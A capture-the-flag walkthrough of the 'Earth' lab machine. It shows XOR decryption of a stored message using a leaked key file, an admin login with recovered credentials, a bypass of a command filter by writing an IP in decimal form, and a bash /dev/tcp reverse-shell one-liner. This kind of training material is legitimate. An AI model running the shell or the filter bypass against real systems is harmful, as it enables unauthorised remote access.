Earth is an easy box though you will likely find it more challenging than “Mercury” in this series and on the harder side of easy, depending on your experience.
Lemme highlight a line from the above nmap output:
Add these to /etc/hosts, and we enumerate. Note we’ve got HTTP and HTTPS.
Here: https://terratest.earth.local/robots.txt we find one interesting entry:
Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it’s currently very basic.
At http://earth.local/ we find Earth Secure Messaging Service with some existing messages, including the very first one:
Since we know it is XOR with testdata.txt we can reverse it, we get the file at https://terratest.earth.local/testdata.txt which says:
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth’s history, life appeared in the oceans and began to affect Earth’s atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.
So our recipe is decode from hex then XOR with the key above and we get:
Now what? We have an /admin portal at http://earth.local/admin/ where we can login with terra:earthclimatechangebad4humans, and we get an admin CLI tool. We can run system commands with this, but trying anything with an IP in it (like a shell) prompts the error:
Remote connections are forbidden.
We can encode our IP as decimal (e.g. here) and my local IP 192.168.1.210 becomes 3232235986, which does not trip the filter; we can get a shell in this manner, e.g.
bash -i >& /dev/tcp/3232235986/1234 0>&1
Enumerating the local filesystem reveals an unusual SUID binary: